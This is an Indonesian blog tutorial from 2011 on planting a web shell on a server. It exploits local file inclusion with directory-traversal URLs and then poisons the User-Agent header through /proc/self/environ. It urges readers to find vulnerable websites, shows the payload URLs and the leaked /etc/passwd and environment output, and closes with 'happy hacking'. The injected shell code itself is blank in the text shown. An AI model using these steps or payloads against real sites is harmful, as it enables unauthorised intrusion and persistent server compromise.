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Rabu, 27 Juli 2011

Tanam Shell via LFI dengan Metode Proc/Self/Environ



Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :



atau



lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !
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